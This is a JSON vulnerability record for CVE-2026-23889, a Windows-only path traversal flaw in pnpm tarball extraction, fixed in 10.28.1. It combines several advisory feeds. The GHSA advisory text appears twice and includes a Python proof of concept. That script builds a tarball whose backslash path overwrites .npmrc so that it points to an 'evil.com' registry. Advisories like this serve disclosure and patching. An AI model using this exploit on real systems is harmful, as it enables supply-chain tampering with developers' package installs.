{"id":"CVE-2026-23889","aliases":["ALPINE-CVE-2026-23889","EUVD-2026-4657","GHSA-6x96-7vc8-cm3p"],"status":"published","title":"pnpm has Windows-specific tarball Path Traversal","description":"pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\\`. On Windows, backslashes are directory separators, enabling path traversal. This vulnerability is Windows-only. This issue impacts Windows pnpm users and Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps). It can lead to overwriting `.npmrc`, build configs, or other files. Version 10.28.1 contains a patch.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-10","score":0.00483,"percentile":0.41973,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-22"],"published":"2026-01-26T21:02:44Z","modified":"2026-11-03T06:33:01Z","fixes":[{"ecosystem":"npm","package":"pnpm","fixed_in":["10.28.1"],"sources":["ghsa","osv"]},{"ecosystem":"Alpine:v3.23","package":"pnpm","fixed_in":["10.33.4-r0"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.28.1"}]}]},{"source":"osv","ecosystem":"Alpine:v3.23","package":"pnpm","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"10.33.4-r0"}]}]},{"source":"osv","ecosystem":"npm","package":"pnpm","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"10.28.1"}]}]}],"products":[{"vendor":"pnpm","product":"pnpm"}],"references":[{"url":"https://github.com/pnpm/pnpm/security/advisories/GHSA-6x96-7vc8-cm3p","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/pnpm/pnpm/commit/6ca07ffbe6fc0e8b8cdc968f228903ba0886f7c0","tags":["x_refsource_MISC","Patch","fix","web"]},{"url":"https://github.com/pnpm/pnpm/releases/tag/v10.28.1","tags":["x_refsource_MISC","Patch","web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-23889","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6x96-7vc8-cm3p"},{"url":"https://security.alpinelinux.org/vuln/CVE-2026-23889","tags":["advisory"]},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/23xxx/CVE-2026-23889.json","tags":["advisory"]},{"url":"https://github.com/pnpm/pnpm","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-23889","title":"pnpm has Windows-specific tarball Path Traversal","description":"pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\\`. On Windows, backslashes are directory separators, enabling path traversal. This vulnerability is Windows-only. This issue impacts Windows pnpm users and Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps). It can lead to overwriting `.npmrc`, build configs, or other files. Version 10.28.1 contains a patch.","status":"published","published":"2026-01-26T21:50:55.289Z","modified":"2026-01-27T21:40:36.271Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T13:42:26.790871Z"}],"euvd":[{"id":"EUVD-2026-4657","description":"pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\\`. On Windows, backslashes are directory separators, enabling path traversal. This vulnerability is Windows-only. This issue impacts Windows pnpm users and Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps). It can lead to overwriting `.npmrc`, build configs, or other files. Version 10.28.1 contains a patch.","status":"published","published":"2026-01-26T21:50:55Z","modified":"2026-01-27T21:40:36Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-02T19:48:46.818498Z"}],"ghsa":[{"id":"GHSA-6x96-7vc8-cm3p","title":"pnpm has Windows-specific tarball Path Traversal","description":"### Summary\nA path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\\`. On Windows, backslashes are directory separators, enabling path traversal.\n\n**This vulnerability is Windows-only.**\n\n### Details\n**1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)**\n\n```typescript\nif (fileName.includes('./')) {\n  fileName = path.posix.join('/', fileName).slice(1)\n}\n```\n\nA path like `foo\\..\\..\\.npmrc` does NOT contain `./` and bypasses this check.\n\n**2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`)**\n\n- On Unix: Backslashes are literal filename characters (safe)\n- On Windows: Backslashes are directory separators (exploitable)\n\n### PoC\n1. Create a malicious tarball with entry `package/foo\\..\\..\\.npmrc`\n2. Host it or use as a tarball URL dependency\n3. On Windows: `pnpm install`\n4. Observe `.npmrc` written outside package directory\n\n```python\nimport tarfile, io\n\ntar_buffer = io.BytesIO()\nwith tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:\n    pkg_json = b'{\"name\": \"malicious-pkg\", \"version\": \"1.0.0\"}'\n    pkg_info = tarfile.TarInfo(name='package/package.json')\n    pkg_info.size = len(pkg_json)\n    tar.addfile(pkg_info, io.BytesIO(pkg_json))\n\n    malicious_content = b'registry=https://evil.com/\\n'\n    mal_info = tarfile.TarInfo(name='package/foo\\\\..\\\\..\\\\.npmrc')\n    mal_info.size = len(malicious_content)\n    tar.addfile(mal_info, io.BytesIO(malicious_content))\n\nwith open('malicious-pkg-1.0.0.tgz', 'wb') as f:\n    f.write(tar_buffer.getvalue())\n```\n\n### Impact\n- Windows pnpm users\n- Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)\n- Can overwrite `.npmrc`, build configs, or other files\n\nVerified on pnpm main @ commit 5a0ed1d45.","status":"published","published":"2026-01-26T21:02:44Z","modified":"2026-01-29T03:23:04Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:39:20.563096Z"}],"nvd":[{"id":"CVE-2026-23889","description":"pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\\`. On Windows, backslashes are directory separators, enabling path traversal. This vulnerability is Windows-only. This issue impacts Windows pnpm users and Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps). It can lead to overwriting `.npmrc`, build configs, or other files. Version 10.28.1 contains a patch.","status":"published","published":"2026-01-26T22:15:56.213Z","modified":"2026-06-17T10:22:15.82Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T14:12:04.769088Z"}],"osv":[{"id":"ALPINE-CVE-2026-23889","description":"pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\\`. On Windows, backslashes are directory separators, enabling path traversal. This vulnerability is Windows-only. This issue impacts Windows pnpm users and Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps). It can lead to overwriting `.npmrc`, build configs, or other files. Version 10.28.1 contains a patch.","status":"published","published":"2026-01-26T22:15:56.213Z","modified":"2026-11-03T06:33:01.711905278Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"updated_at":"2026-11-03T07:15:53.944853Z"},{"id":"CVE-2026-23889","title":"pnpm has Windows-specific tarball Path Traversal","description":"pnpm is a package manager. Prior to version 10.28.1, a path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\\`. On Windows, backslashes are directory separators, enabling path traversal. This vulnerability is Windows-only. This issue impacts Windows pnpm users and Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps). It can lead to overwriting `.npmrc`, build configs, or other files. Version 10.28.1 contains a patch.","status":"published","published":"2026-01-26T21:50:55.289Z","modified":"2026-10-28T02:31:05.869797723Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:44:59.079784Z"},{"id":"GHSA-6x96-7vc8-cm3p","title":"pnpm has Windows-specific tarball Path Traversal","description":"### Summary\nA path traversal vulnerability in pnpm's tarball extraction allows malicious packages to write files outside the package directory on Windows. The path normalization only checks for `./` but not `.\\`. On Windows, backslashes are directory separators, enabling path traversal.\n\n**This vulnerability is Windows-only.**\n\n### Details\n**1. Incomplete Path Normalization (`store/cafs/src/parseTarball.ts:107-110`)**\n\n```typescript\nif (fileName.includes('./')) {\n  fileName = path.posix.join('/', fileName).slice(1)\n}\n```\n\nA path like `foo\\..\\..\\.npmrc` does NOT contain `./` and bypasses this check.\n\n**2. Platform-Dependent Behavior (`fs/indexed-pkg-importer/src/importIndexedDir.ts:97-98`)**\n\n- On Unix: Backslashes are literal filename characters (safe)\n- On Windows: Backslashes are directory separators (exploitable)\n\n### PoC\n1. Create a malicious tarball with entry `package/foo\\..\\..\\.npmrc`\n2. Host it or use as a tarball URL dependency\n3. On Windows: `pnpm install`\n4. Observe `.npmrc` written outside package directory\n\n```python\nimport tarfile, io\n\ntar_buffer = io.BytesIO()\nwith tarfile.open(fileobj=tar_buffer, mode='w:gz') as tar:\n    pkg_json = b'{\"name\": \"malicious-pkg\", \"version\": \"1.0.0\"}'\n    pkg_info = tarfile.TarInfo(name='package/package.json')\n    pkg_info.size = len(pkg_json)\n    tar.addfile(pkg_info, io.BytesIO(pkg_json))\n\n    malicious_content = b'registry=https://evil.com/\\n'\n    mal_info = tarfile.TarInfo(name='package/foo\\\\..\\\\..\\\\.npmrc')\n    mal_info.size = len(malicious_content)\n    tar.addfile(mal_info, io.BytesIO(malicious_content))\n\nwith open('malicious-pkg-1.0.0.tgz', 'wb') as f:\n    f.write(tar_buffer.getvalue())\n```\n\n### Impact\n- Windows pnpm users\n- Windows CI/CD pipelines (GitHub Actions Windows runners, Azure DevOps)\n- Can overwrite `.npmrc`, build configs, or other files\n\nVerified on pnpm main @ commit 5a0ed1d45.","status":"published","published":"2026-01-26T21:02:44Z","modified":"2026-02-03T03:06:05.518233Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N","level":"medium"}],"cwes":["CWE-22"],"updated_at":"2026-11-02T15:46:40.308826Z"}]}}